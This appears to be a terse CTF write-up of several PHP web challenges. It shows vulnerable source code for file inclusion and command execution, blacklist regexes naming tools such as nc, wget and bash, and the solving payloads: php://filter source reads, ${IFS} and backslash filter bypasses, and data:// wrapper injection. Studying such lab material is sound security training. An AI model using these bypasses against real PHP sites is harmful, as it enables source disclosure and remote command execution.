1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

1

?file=php://filter/read=convert.base64-encode/resource=flag.php

1
2
3
4
5
6
7
8

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");


echo   "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";
echo "换个思路，试试PHP伪协议呢";

1

?file=php://filter/read=convert.base64-encode/resource=flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

1

?rce=ca\t${IFS}fla?.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
}

1

?url=l\s  /| tee 1

1

?url=ca\t /flllll\aaaaaaggggggg | tee 1

1

wllm=php://filter/read=convert.base64-encode/resource=hint.php

1
2
3

<?php
//go to /test2222222222222.php
?>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
	echo "success\n";
	echo $flag;
}
?>

1

test2222222222222.php?a=data://text/plain,I want flag